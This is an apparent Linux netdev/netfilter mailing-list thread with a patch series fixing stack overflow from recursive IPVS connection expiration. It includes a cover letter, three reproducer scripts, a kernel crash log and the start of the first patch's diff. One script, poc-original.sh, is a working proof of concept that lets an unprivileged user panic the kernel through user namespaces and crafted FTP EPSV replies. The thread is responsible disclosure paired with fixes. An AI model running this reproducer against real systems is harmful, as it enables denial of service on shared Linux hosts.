Linux Netfilter development
 help / color / mirror / Atom feed
* [PATCH nf v5 0/3] ipvs: avoid stack overflow from recursive connection expiration
@ 2026-09-25 16:40 Zihan Xi
  2026-09-25 16:40 ` [PATCH nf v5 1/3] ipvs: wait the running timer cb on conn deletion Zihan Xi
                   ` (4 more replies)
  0 siblings, 5 replies; 9+ messages in thread
From: Zihan Xi @ 2026-09-25 16:40 UTC (permalink / raw)
  To: netdev, lvs-devel, netfilter-devel; +Cc: horms, ja, pablo, fw, phil, zihanx

Hi Linux kernel maintainers,

We found and validated an issue in
net/netfilter/ipvs/ip_vs_ftp.c and net/netfilter/ipvs/ip_vs_conn.c. The
bug is reachable by a non-root user via a user namespace and a network
namespace.
We've tested it, and it should not affect any other functionality.

This series contains 3 patches:

  1/3 Fix the timer callback race during IPVS connection deletion.
  2/3 Replace recursive controller expiration with an iterative cleanup
      path.
  3/3 Reject zero and configured FTP control ports as data ports.

We will provide detailed information about the bug
in this email, along with PoCs to trigger it.

---- details below ----

Bug details:

The trigger entry point is ip_vs_ftp_out() in
net/netfilter/ipvs/ip_vs_ftp.c. It parses an EPSV reply from the real
server and creates a wildcard data connection from the advertised port.
The baseline PoC uses port 21, the default FTP control port.
ip_vs_conn_new() then binds the FTP helper to the new connection again.
Because the child has IP_VS_CONN_F_NO_CPORT, the next connection from the
same client to the VIP on port 21 matches the wildcard child instead of
creating a new top-level entry.
Repeating EPSV builds a controlled-connection chain.

The active-mode entry point, ip_vs_ftp_in(), has the same chain-building
condition when the derived data port is a configured control port. The
data connection's virtual port is derived from cp->vport - 1. With
ports={21,20}, the derived port is 20, so ip_vs_conn_new() can bind the
FTP helper again.

The FTP entry points are in ip_vs_ftp.c, but the stack-overflow root cause
is in the generic cleanup path in ip_vs_conn.c. When a controlled
connection expires, ip_vs_conn_expire() can delete and expire its
controller. The old path can then call ip_vs_conn_expire() recursively. A
long controlled-connection chain can exhaust the kernel stack. The
reproduced failure occurs during network namespace teardown, but the
cleanup bug is in the generic controller-chain path, not a teardown-only
special case.

Patch 1 prevents a connection from being unlinked while a concurrent timer
callback can still use it. It revalidates n_control and timer state after
excluding the connection from traffic, and gives a concurrent callback
another chance when deletion does not own the timer. The deletion and
controller-chain walk stay under RCU while the timer-callback race is
handled.

Patch 2 continues expiration with the controller after the current
connection has been fully cleaned up instead of recursively calling the
expiration path. The cleanup remains synchronous while using one stack
frame for the whole chain. The iteration also switches the controller to
deletion mode and preserves the timer-callback handling from patch 1.

Patch 3 rejects zero and configured FTP control ports before creating
passive data connections in ip_vs_ftp_out(), covering both PASV and EPSV.
It also rejects a zero active-mode client port and a data port
derived from a configured control port in ip_vs_ftp_in(). Valid data ports
continue through the existing path.

The recursive-cleanup root cause was introduced by
f9200a52eedf ("ipvs: avoid expiring many connections from timer"). The FTP
helper's acceptance of a configured control port is a separate root-cause
fact, introduced by 1da177e4c3f4 ("Linux-2.6.12-rc2"). These are different
root-cause facts, so the fixes use separate Fixes: tags.

Reproducer:

The reproducers are shell scripts with embedded Python. The baseline
reproducer was run as follows:

    SELF_UNSHARE=1 MODE=exit ./poc-original.sh 400

The fixed passive-mode run was:

    SELF_UNSHARE=1 MODE=exit ./poc.sh 200

The active-mode run used this complete kernel command line:

    root=/dev/sda rw console=ttyS0 earlyprintk=serial net.ifnames=0 biosdevname=0 nokaslr panic_on_warn=0 oops=panic systemd.mask=sys-kernel-config.mount systemd.mask=systemd-remount-fs.service systemd.unit=multi-user.target ip_vs_ftp.ports=21,20

and this command:

    SELF_UNSHARE=1 MODE=exit ./poc-active.sh 1

The active-mode validation used depth 1 to check the configured-port
guard; it was not used as a deeper chain stress test.

packetdrill was not used because the trigger requires namespace creation,
the legacy IPVS sockopt ABI, a cooperating TCP server, and namespace
teardown. packetdrill cannot express that complete control-plane setup and
lifetime on its own.

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

The baseline was built from 70194dc37670
(7.3.0-rc2-g70194dc37670). The baseline PoC exited with status 0 and
reported 401 IPVS entries after building 400 controlled connections. The
baseline namespace teardown produced the decoded KASAN report below.

The passive PoC ran on the v4 kernel and exited with status 0,
reporting:

    built 200 connections
    rejected control-port replies: 200/200
    ip_vs_conn entries before trigger: 200
    passive data connections created: 0
    exiting namespace holder

The active-mode validation also ran on the v4 kernel and exited with
status 0, reporting:

    built 1 connections
    ip_vs_conn entries before trigger: 1
    derived data connections created: 0
    exiting namespace holder

The fixed passive and active runs produced no KASAN, BUG, Oops, kernel
panic, stack-guard, or general-protection diagnostics. The baseline run
produced the crash during namespace teardown. The crash excerpt below is
copied from the decoded baseline report; unrelated boot output, registers,
and disassembly are omitted.

Reproducer source files:

------BEGIN poc-original.sh------
#!/bin/sh
set -eu

DEPTH="${1:-400}"
MODE="${MODE:-exit}"
SELF_UNSHARE="${SELF_UNSHARE:-0}"

if [ "${SELF_UNSHARE}" = "1" ] && [ -z "${POC_INNER:-}" ]; then
	exec env POC_INNER=1 MODE="${MODE}" SELF_UNSHARE=0 \
		unshare -Urn -- "$0" "${DEPTH}"
fi

ulimit -n 65535 2>/dev/null || true

IP=/usr/sbin/ip
PYTHON=/usr/bin/python3

VIP=198.51.100.1
REAL=198.51.100.2
CLIENT=198.51.100.3
PORT=21

"${IP}" link set lo up
"${IP}" addr add "${VIP}/32" dev lo 2>/dev/null || true
"${IP}" addr add "${REAL}/32" dev lo 2>/dev/null || true
"${IP}" addr add "${CLIENT}/32" dev lo 2>/dev/null || true

exec "${PYTHON}" - "${DEPTH}" "${MODE}" "${VIP}" "${REAL}" "${CLIENT}" "${PORT}" <<'PY'
import ctypes
import os
import socket
import sys
import threading
import time

depth = int(sys.argv[1])
mode = sys.argv[2]
vip = sys.argv[3]
real = sys.argv[4]
client_ip = sys.argv[5]
port = int(sys.argv[6])

ready = threading.Event()
server_error = []
client_error = []
accepted = []
clients = []

IP_VS_BASE_CTL = 64 + 1024 + 64
IP_VS_SO_SET_ADD = IP_VS_BASE_CTL + 2
IP_VS_SO_SET_FLUSH = IP_VS_BASE_CTL + 5
IP_VS_SO_SET_ADDDEST = IP_VS_BASE_CTL + 7


class Svc(ctypes.Structure):
    _fields_ = [
        ("protocol", ctypes.c_uint16),
        ("addr", ctypes.c_uint32),
        ("port", ctypes.c_uint16),
        ("fwmark", ctypes.c_uint32),
        ("sched_name", ctypes.c_char * 16),
        ("flags", ctypes.c_uint),
        ("timeout", ctypes.c_uint),
        ("netmask", ctypes.c_uint32),
    ]


class Dest(ctypes.Structure):
    _fields_ = [
        ("addr", ctypes.c_uint32),
        ("port", ctypes.c_uint16),
        ("conn_flags", ctypes.c_uint),
        ("weight", ctypes.c_int),
        ("u_threshold", ctypes.c_uint32),
        ("l_threshold", ctypes.c_uint32),
    ]


def native_u32(ip):
    return int.from_bytes(socket.inet_aton(ip), sys.byteorder)


def ipvs_sock():
    return socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)


def ipvs_flush():
    s = ipvs_sock()
    try:
        s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_FLUSH, b"")
    finally:
        s.close()


def ipvs_add_service():
    svc = Svc()
    svc.protocol = socket.IPPROTO_TCP
    svc.addr = native_u32(vip)
    svc.port = socket.htons(port)
    svc.fwmark = 0
    svc.sched_name = b"rr"
    svc.flags = 0
    svc.timeout = 0
    svc.netmask = 0

    s = ipvs_sock()
    try:
        s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADD, bytes(svc))
    finally:
        s.close()
    return svc


def ipvs_add_dest(svc):
    dest = Dest()
    dest.addr = native_u32(real)
    dest.port = socket.htons(port)
    dest.conn_flags = 0
    dest.weight = 1
    dest.u_threshold = 0
    dest.l_threshold = 0

    s = ipvs_sock()
    try:
        s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADDDEST, bytes(svc) + bytes(dest))
    finally:
        s.close()


def recv_line(sock):
    data = bytearray()
    while not data.endswith(b"\n"):
        chunk = sock.recv(1)
        if not chunk:
            raise RuntimeError("unexpected EOF")
        data.extend(chunk)
    return bytes(data)


def server():
    try:
        srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        srv.bind((real, port))
        srv.listen(depth + 16)
        ready.set()
        for i in range(depth):
            conn, addr = srv.accept()
            conn.sendall(b"220 ready\r\n")
            line = recv_line(conn)
            if b"EPSV" not in line.upper():
                raise RuntimeError(f"unexpected request on level {i}: {line!r}")
            conn.sendall(b"229 Entering Extended Passive Mode (|||21|)\r\n")
            accepted.append(conn)
        while True:
            time.sleep(1)
    except BaseException as exc:
        server_error.append(repr(exc))
        ready.set()


try:
    try:
        ipvs_flush()
    except OSError:
        pass
    service = ipvs_add_service()
    ipvs_add_dest(service)
except OSError as exc:
    raise SystemExit(f"ipvs setup failed: {exc}")


threading.Thread(target=server, daemon=True).start()
ready.wait()
if server_error:
    raise SystemExit(f"server failed early: {server_error[0]}")

for i in range(depth):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind((client_ip, 0))
        s.connect((vip, port))
        banner = recv_line(s)
        if not banner.startswith(b"220 "):
            raise RuntimeError(f"unexpected banner on level {i}: {banner!r}")
        s.sendall(b"EPSV\r\n")
        reply = recv_line(s)
        if b"229 " not in reply:
            raise RuntimeError(f"unexpected EPSV reply on level {i}: {reply!r}")
        clients.append(s)
        if (i + 1) % 50 == 0 or i + 1 == depth:
            print(f"built {i + 1} connections", flush=True)
    except BaseException as exc:
        client_error.append(repr(exc))
        break

if client_error:
    raise SystemExit(f"client failed: {client_error[0]}")
if server_error:
    raise SystemExit(f"server failed: {server_error[0]}")

try:
    with open("/proc/net/ip_vs_conn", "r", encoding="utf-8", errors="replace") as f:
        conn_lines = sum(1 for _ in f) - 1
except OSError:
    conn_lines = -1

print(f"ip_vs_conn entries before trigger: {conn_lines}", flush=True)

if mode == "hold":
    while True:
        time.sleep(1)
elif mode == "flush":
    ipvs_flush()
    print("IPVS flush returned", flush=True)
    while True:
        time.sleep(1)
elif mode == "exit":
    print("exiting namespace holder", flush=True)
    sys.stdout.flush()
    os._exit(0)
else:
    raise SystemExit(f"unknown MODE={mode!r}")
PY
------END poc-original.sh--------

------BEGIN poc.sh------
#!/bin/sh
set -eu

DEPTH="${1:-400}"
MODE="${MODE:-exit}"
SELF_UNSHARE="${SELF_UNSHARE:-0}"

if [ "${SELF_UNSHARE}" = "1" ] && [ -z "${POC_INNER:-}" ]; then
	exec env POC_INNER=1 MODE="${MODE}" SELF_UNSHARE=0 \
		unshare -Urn -- "$0" "${DEPTH}"
fi

ulimit -n 65535 2>/dev/null || true

IP=/usr/sbin/ip
PYTHON=/usr/bin/python3

VIP=198.51.100.1
REAL=198.51.100.2
CLIENT=198.51.100.3
PORT=21

"${IP}" link set lo up
"${IP}" addr add "${VIP}/32" dev lo 2>/dev/null || true
"${IP}" addr add "${REAL}/32" dev lo 2>/dev/null || true
"${IP}" addr add "${CLIENT}/32" dev lo 2>/dev/null || true

exec "${PYTHON}" - "${DEPTH}" "${MODE}" "${VIP}" "${REAL}" "${CLIENT}" "${PORT}" <<'PY'
import ctypes
import os
import socket
import sys
import threading
import time

depth = int(sys.argv[1])
mode = sys.argv[2]
vip = sys.argv[3]
real = sys.argv[4]
client_ip = sys.argv[5]
port = int(sys.argv[6])

ready = threading.Event()
server_error = []
client_error = []
accepted = []
clients = []
rejected = 0

IP_VS_BASE_CTL = 64 + 1024 + 64
IP_VS_SO_SET_ADD = IP_VS_BASE_CTL + 2
IP_VS_SO_SET_FLUSH = IP_VS_BASE_CTL + 5
IP_VS_SO_SET_ADDDEST = IP_VS_BASE_CTL + 7


class Svc(ctypes.Structure):
    _fields_ = [
        ("protocol", ctypes.c_uint16),
        ("addr", ctypes.c_uint32),
        ("port", ctypes.c_uint16),
        ("fwmark", ctypes.c_uint32),
        ("sched_name", ctypes.c_char * 16),
        ("flags", ctypes.c_uint),
        ("timeout", ctypes.c_uint),
        ("netmask", ctypes.c_uint32),
    ]


class Dest(ctypes.Structure):
    _fields_ = [
        ("addr", ctypes.c_uint32),
        ("port", ctypes.c_uint16),
        ("conn_flags", ctypes.c_uint),
        ("weight", ctypes.c_int),
        ("u_threshold", ctypes.c_uint32),
        ("l_threshold", ctypes.c_uint32),
    ]


def native_u32(ip):
    return int.from_bytes(socket.inet_aton(ip), sys.byteorder)


def ipvs_sock():
    return socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)


def ipvs_flush():
    s = ipvs_sock()
    try:
        s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_FLUSH, b"")
    finally:
        s.close()


def ipvs_add_service():
    svc = Svc()
    svc.protocol = socket.IPPROTO_TCP
    svc.addr = native_u32(vip)
    svc.port = socket.htons(port)
    svc.fwmark = 0
    svc.sched_name = b"rr"
    svc.flags = 0
    svc.timeout = 0
    svc.netmask = 0

    s = ipvs_sock()
    try:
        s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADD, bytes(svc))
    finally:
        s.close()
    return svc


def ipvs_add_dest(svc):
    dest = Dest()
    dest.addr = native_u32(real)
    dest.port = socket.htons(port)
    dest.conn_flags = 0
    dest.weight = 1
    dest.u_threshold = 0
    dest.l_threshold = 0

    s = ipvs_sock()
    try:
        s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADDDEST, bytes(svc) + bytes(dest))
    finally:
        s.close()


def recv_line(sock):
    data = bytearray()
    while not data.endswith(b"\n"):
        chunk = sock.recv(1)
        if not chunk:
            raise RuntimeError("unexpected EOF")
        data.extend(chunk)
    return bytes(data)


def server():
    try:
        srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        srv.bind((real, port))
        srv.listen(depth + 16)
        ready.set()
        for i in range(depth):
            conn, addr = srv.accept()
            conn.sendall(b"220 ready\r\n")
            line = recv_line(conn)
            if b"EPSV" not in line.upper():
                raise RuntimeError(f"unexpected request on level {i}: {line!r}")
            conn.sendall(b"229 Entering Extended Passive Mode (|||21|)\r\n")
            accepted.append(conn)
        while True:
            time.sleep(1)
    except BaseException as exc:
        server_error.append(repr(exc))
        ready.set()


try:
    try:
        ipvs_flush()
    except OSError:
        pass
    service = ipvs_add_service()
    ipvs_add_dest(service)
except OSError as exc:
    raise SystemExit(f"ipvs setup failed: {exc}")


threading.Thread(target=server, daemon=True).start()
ready.wait()
if server_error:
    raise SystemExit(f"server failed early: {server_error[0]}")

for i in range(depth):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind((client_ip, 0))
        s.connect((vip, port))
        banner = recv_line(s)
        if not banner.startswith(b"220 "):
            raise RuntimeError(f"unexpected banner on level {i}: {banner!r}")
        s.sendall(b"EPSV\r\n")
        s.settimeout(0.2)
        try:
            reply = recv_line(s)
        except socket.timeout:
            rejected += 1
            print(f"control-port reply rejected on level {i}", flush=True)
        else:
            raise RuntimeError(
                f"control-port reply was not rejected on level {i}: {reply!r}"
            )
        clients.append(s)
        if (i + 1) % 50 == 0 or i + 1 == depth:
            print(f"built {i + 1} connections", flush=True)
    except BaseException as exc:
        client_error.append(repr(exc))
        break

if client_error:
    raise SystemExit(f"client failed: {client_error[0]}")
if server_error:
    raise SystemExit(f"server failed: {server_error[0]}")
if rejected != depth:
    raise SystemExit(f"expected {depth} rejected replies, got {rejected}")

try:
    with open("/proc/net/ip_vs_conn", "r", encoding="utf-8", errors="replace") as f:
        conn_lines = sum(1 for _ in f) - 1
except OSError:
    conn_lines = -1

print(f"rejected control-port replies: {rejected}/{depth}", flush=True)
print(f"ip_vs_conn entries before trigger: {conn_lines}", flush=True)
if conn_lines != depth:
    raise SystemExit(
        f"expected {depth} IPVS entries, got {conn_lines}; "
        "a passive data connection was created"
    )
print(f"passive data connections created: {conn_lines - depth}", flush=True)

if mode == "hold":
    while True:
        time.sleep(1)
elif mode == "flush":
    ipvs_flush()
    print("IPVS flush returned", flush=True)
    while True:
        time.sleep(1)
elif mode == "exit":
    print("exiting namespace holder", flush=True)
    sys.stdout.flush()
    os._exit(0)
else:
    raise SystemExit(f"unknown MODE={mode!r}")
PY
------END poc.sh--------

------BEGIN poc-active.sh------
#!/bin/sh
set -eu

DEPTH="${1:-400}"
MODE="${MODE:-exit}"
SELF_UNSHARE="${SELF_UNSHARE:-0}"

if [ "${SELF_UNSHARE}" = "1" ] && [ -z "${POC_INNER:-}" ]; then
	exec env POC_INNER=1 MODE="${MODE}" SELF_UNSHARE=0 \
		unshare -Urn -- "$0" "${DEPTH}"
fi

ulimit -n 65535 2>/dev/null || true

IP=/usr/sbin/ip
PYTHON=/usr/bin/python3

VIP=198.51.100.1
REAL=198.51.100.2
CLIENT=198.51.100.3
PORT=21

"${IP}" link set lo up
"${IP}" addr add "${VIP}/32" dev lo 2>/dev/null || true
"${IP}" addr add "${REAL}/32" dev lo 2>/dev/null || true
"${IP}" addr add "${CLIENT}/32" dev lo 2>/dev/null || true

exec "${PYTHON}" - "${DEPTH}" "${MODE}" "${VIP}" "${REAL}" "${CLIENT}" "${PORT}" <<'PY'
import ctypes
import os
import socket
import sys
import threading
import time

depth = int(sys.argv[1])
mode = sys.argv[2]
vip = sys.argv[3]
real = sys.argv[4]
client_ip = sys.argv[5]
port = int(sys.argv[6])

ready = threading.Event()
server_error = []
client_error = []
accepted = []
clients = []

IP_VS_BASE_CTL = 64 + 1024 + 64
IP_VS_SO_SET_ADD = IP_VS_BASE_CTL + 2
IP_VS_SO_SET_FLUSH = IP_VS_BASE_CTL + 5
IP_VS_SO_SET_ADDDEST = IP_VS_BASE_CTL + 7


class Svc(ctypes.Structure):
    _fields_ = [
        ("protocol", ctypes.c_uint16),
        ("addr", ctypes.c_uint32),
        ("port", ctypes.c_uint16),
        ("fwmark", ctypes.c_uint32),
        ("sched_name", ctypes.c_char * 16),
        ("flags", ctypes.c_uint),
        ("timeout", ctypes.c_uint),
        ("netmask", ctypes.c_uint32),
    ]


class Dest(ctypes.Structure):
    _fields_ = [
        ("addr", ctypes.c_uint32),
        ("port", ctypes.c_uint16),
        ("conn_flags", ctypes.c_uint),
        ("weight", ctypes.c_int),
        ("u_threshold", ctypes.c_uint32),
        ("l_threshold", ctypes.c_uint32),
    ]


def native_u32(ip):
    return int.from_bytes(socket.inet_aton(ip), sys.byteorder)


def ipvs_sock():
    return socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)


def ipvs_flush():
    s = ipvs_sock()
    try:
        s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_FLUSH, b"")
    finally:
        s.close()


def ipvs_add_service():
    svc = Svc()
    svc.protocol = socket.IPPROTO_TCP
    svc.addr = native_u32(vip)
    svc.port = socket.htons(port)
    svc.fwmark = 0
    svc.sched_name = b"rr"
    svc.flags = 0
    svc.timeout = 0
    svc.netmask = 0

    s = ipvs_sock()
    try:
        s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADD, bytes(svc))
    finally:
        s.close()
    return svc


def ipvs_add_dest(svc):
    dest = Dest()
    dest.addr = native_u32(real)
    dest.port = socket.htons(port)
    dest.conn_flags = 0
    dest.weight = 1
    dest.u_threshold = 0
    dest.l_threshold = 0

    s = ipvs_sock()
    try:
        s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADDDEST, bytes(svc) + bytes(dest))
    finally:
        s.close()


def recv_line(sock):
    data = bytearray()
    while not data.endswith(b"\n"):
        chunk = sock.recv(1)
        if not chunk:
            raise RuntimeError("unexpected EOF")
        data.extend(chunk)
    return bytes(data)


def server():
    try:
        srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        srv.bind((real, port))
        srv.listen(depth + 16)
        ready.set()
        for i in range(depth):
            conn, addr = srv.accept()
            conn.sendall(b"220 ready\r\n")
            line = recv_line(conn)
            if not line.upper().startswith(b"PORT "):
                raise RuntimeError(f"unexpected request on level {i}: {line!r}")
            conn.sendall(b"200 PORT command successful\r\n")
            accepted.append(conn)
        while True:
            time.sleep(1)
    except BaseException as exc:
        server_error.append(repr(exc))
        ready.set()


try:
    try:
        ipvs_flush()
    except OSError:
        pass
    service = ipvs_add_service()
    ipvs_add_dest(service)
except OSError as exc:
    raise SystemExit(f"ipvs setup failed: {exc}")


threading.Thread(target=server, daemon=True).start()
ready.wait()
if server_error:
    raise SystemExit(f"server failed early: {server_error[0]}")

for i in range(depth):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind((client_ip, 0))
        s.connect((vip, port))
        banner = recv_line(s)
        if not banner.startswith(b"220 "):
            raise RuntimeError(f"unexpected banner on level {i}: {banner!r}")
        s.sendall(b"PORT 198,51,100,3,4,1\r\n")
        time.sleep(0.2)
        clients.append(s)
        if (i + 1) % 50 == 0 or i + 1 == depth:
            print(f"built {i + 1} connections", flush=True)
    except BaseException as exc:
        client_error.append(repr(exc))
        break

if client_error:
    raise SystemExit(f"client failed: {client_error[0]}")
if server_error:
    raise SystemExit(f"server failed: {server_error[0]}")

try:
    with open("/proc/net/ip_vs_conn", "r", encoding="utf-8", errors="replace") as f:
        conn_lines = sum(1 for _ in f) - 1
except OSError:
    conn_lines = -1

print(f"ip_vs_conn entries before trigger: {conn_lines}", flush=True)
if conn_lines != depth:
    raise SystemExit(
        f"expected {depth} IPVS entries, got {conn_lines}; "
        "a derived data connection was created"
    )
print(f"derived data connections created: {conn_lines - depth}", flush=True)

if mode == "hold":
    while True:
        time.sleep(1)
elif mode == "flush":
    ipvs_flush()
    print("IPVS flush returned", flush=True)
    while True:
        time.sleep(1)
elif mode == "exit":
    print("exiting namespace holder", flush=True)
    sys.stdout.flush()
    os._exit(0)
else:
    raise SystemExit(f"unknown MODE={mode!r}")
PY
------END poc-active.sh--------

----BEGIN crash log----
[   40.621758] BUG: KASAN: stack-out-of-bounds in __unwind_start (arch/x86/kernel/unwind_orc.c:715)
[   40.621785] Write of size 112 at addr ff11000007307e98 by task kworker/u8:0/12
[   40.621785] 
[   40.621785] CPU: 1 UID: 0 PID: 12 Comm: kworker/u8:0 Not tainted 7.3.0-rc2-g70194dc37670 #1 PREEMPT(lazy) 
[   40.621785] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   40.621785] Workqueue: netns cleanup_net
[   40.621785] Call Trace:

[   40.951167] BUG: unable to handle page fault for address: ff11000011430ff4
[   40.951167] #PF: supervisor instruction fetch in kernel mode
[   40.951167] #PF: error_code(0x0011) - permissions violation
[   40.951167] PGD 6f1e067 P4D 6f1f067 PUD 6f20067 PMD 80000000114001e3 
[   40.951167] Thread overran stack, or stack corrupted
[   40.951167] Oops: Oops: 0011 [#1] SMP KASAN NOPTI
[   40.951167] CPU: 0 UID: 0 PID: 11 Comm: kworker/0:1 Tainted: G        W           7.3.0-rc2-g70194dc37670 #1 PREEMPT(lazy) 
[   40.951167] Tainted: [W]=WARN
[   40.951167] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   40.951167] Workqueue:  0x0 (events_freezable_pwr_efficient)

[   40.951167] Call Trace:
[   40.951167]  <TASK>
[   40.951167]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   40.951167]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   40.951167]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   40.951167]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   40.951167]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   40.951167]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   40.951167]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   40.951167]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   40.951167]  </TASK>

[   40.951167] Kernel panic - not syncing: Fatal exception
[   40.951167] Shutting down cpus with NMI
[   40.951167] Kernel Offset: disabled
[   40.951167] ---[ end Kernel panic - not syncing: Fatal exception ]---
-----END crash log-----

changes in v5:
  - Update the first patch with Julian Anastasov's v3 fix, restoring
    the reference with refcount_set(&cp->refcnt, 1).
  - v4 Link: https://lore.kernel.org/all/cover.1790146910.git.zihanx@nebusec.ai/
changes in v4:
  - Add Julian Anastasov's timer-callback deletion fix as patch 1,
    including n_control revalidation.
  - Rebase iterative controller cleanup on that fix and keep the
    controller walk synchronous without recursive expiration.
  - Resend the FTP helper checks as patch 3/3.
  - v3 Link: https://lore.kernel.org/all/cover.1789877273.git.zihanx@nebusec.ai/
changes in v3:
  - Add the active-mode guard for configured FTP control ports.
  - Handle the timer-callback race while keeping controller cleanup
    iterative and synchronous.
  - v2 Link: https://lore.kernel.org/all/cover.1789435989.git.zihanx@nebusec.ai/
changes in v2:
  - Replace recursive controller expiration with an iterative path.
  - Add the FTP-helper checks for configured control ports.
  - v1 Link: https://lore.kernel.org/all/cover.1789110326.git.zihanx@nebusec.ai/


Best regards,
Zihan Xi

Julian Anastasov (1):
  ipvs: wait the running timer cb on conn deletion

Zihan Xi (2):
  ipvs: avoid stack overflow from recursive connection expiration
  ipvs: reject FTP control ports as data ports

 net/netfilter/ipvs/ip_vs_conn.c | 117 ++++++++++++++++++--------------
 net/netfilter/ipvs/ip_vs_ftp.c  |  18 +++++
 2 files changed, 85 insertions(+), 50 deletions(-)

-- 
2.43.0


^ permalink raw reply	[flat|nested] 9+ messages in thread

* [PATCH nf v5 1/3] ipvs: wait the running timer cb on conn deletion
  2026-09-25 16:40 [PATCH nf v5 0/3] ipvs: avoid stack overflow from recursive connection expiration Zihan Xi
@ 2026-09-25 16:40 ` Zihan Xi
  2026-09-29 17:05   ` netdev-bot+sashiko
  2026-09-25 16:40 ` [PATCH nf v5 2/3] ipvs: avoid stack overflow from recursive connection expiration Zihan Xi
                   ` (3 subsequent siblings)
  4 siblings, 1 reply; 9+ messages in thread
From: Zihan Xi @ 2026-09-25 16:40 UTC (permalink / raw)
  To: netdev, lvs-devel, netfilter-devel; +Cc: horms, ja, pablo, fw, phil, zihanx

From: Julian Anastasov <ja@ssi.bg>

Sashiko reports for problem when deleting connections.

If connection timer expires, its callback can not be
concurrently running but if connection is deleted
the callback can be running on another CPU even
after all references are released. Before now we
continued with the connection freeing, risking the
callback to access the deleted connection after it
is freed. As ip_vs_conn_del*() run under RCU lock
there is no risk accessing a freed connection by
concurrent timer callback as Sashiko warns, may
be only if our timer expires and we try to delete
the cp->control chain.

Fix that by failing the ip_vs_conn_unlink() call after
refcnt is restored to 1 allowing the timer callback
to be scheduled for new execution which should happen
after the detected running callback finishes.

One of two things can happen when we detect the
running callback:

1. the concurrent timer callback can see refcnt 0 and
do nothing, so we will schedule new timer callback to
expire the connection after the running one finishes

2. the concurrent timer callback can see refcnt 1 and
to expire the connection as usually, in this case we
will see refcnt 0 and will do nothing

Add explicit rcu_read_lock() while deleting the cp->control
chain to protect from concurrent timer callback for ct to
expire it before us.

During such races, try to keep 0 in cp->timeout as it is
a request for deleting our cp->control chain immediately.

Link: https://sashiko.dev/#/patchset/cover.1789435989.git.zihanx%40nebusec.ai
Fixes: f9200a52eedf ("ipvs: avoid expiring many connections from timer")
Signed-off-by: Julian Anastasov <ja@ssi.bg>
---
 net/netfilter/ipvs/ip_vs_conn.c | 103 +++++++++++++++++---------------
 1 file changed, 54 insertions(+), 49 deletions(-)

diff --git a/net/netfilter/ipvs/ip_vs_conn.c b/net/netfilter/ipvs/ip_vs_conn.c
index 6fa3e1dc534c3..eac185496a8a6 100644
--- a/net/netfilter/ipvs/ip_vs_conn.c
+++ b/net/netfilter/ipvs/ip_vs_conn.c
@@ -313,17 +313,34 @@ static inline int ip_vs_conn_hash(struct ip_vs_conn *cp)
 /* Try to unlink ip_vs_conn from conn_tab.
  * returns bool success.
  */
-static inline bool ip_vs_conn_unlink(struct ip_vs_conn *cp)
+static inline bool ip_vs_conn_unlink(struct ip_vs_conn *cp, bool my_cb)
 {
 	struct netns_ipvs *ipvs = cp->ipvs;
 	struct hlist_bl_head *head, *head2;
 	u32 hash_key, hash_key2;
 	struct ip_vs_rht *t;
-	bool ret = false;
 	bool use2;
 
+	if (!refcount_dec_if_one(&cp->refcnt))
+		return false;
+
 	if (cp->flags & IP_VS_CONN_F_ONE_PACKET)
-		return refcount_dec_if_one(&cp->refcnt);
+		return true;
+
+	/* Revalidate after conn is excluded from traffic:
+	 * - not controlling other conns
+	 * - no pending/running timer callback
+	 *
+	 * And the winner is ...
+	 */
+	if (atomic_read(&cp->n_control) ||
+	    (!timer_delete(&cp->timer) && !my_cb)) {
+		/* Not me? Give the timer callback another chance, even
+		 * if one is concurrently running during the conn deletion.
+		 */
+		refcount_set(&cp->refcnt, 1);
+		return false;
+	}
 
 	rcu_read_lock();
 	local_bh_disable();
@@ -337,15 +354,11 @@ static inline bool ip_vs_conn_unlink(struct ip_vs_conn *cp)
 		      false /* new_hash2 */, &head, &head2);
 
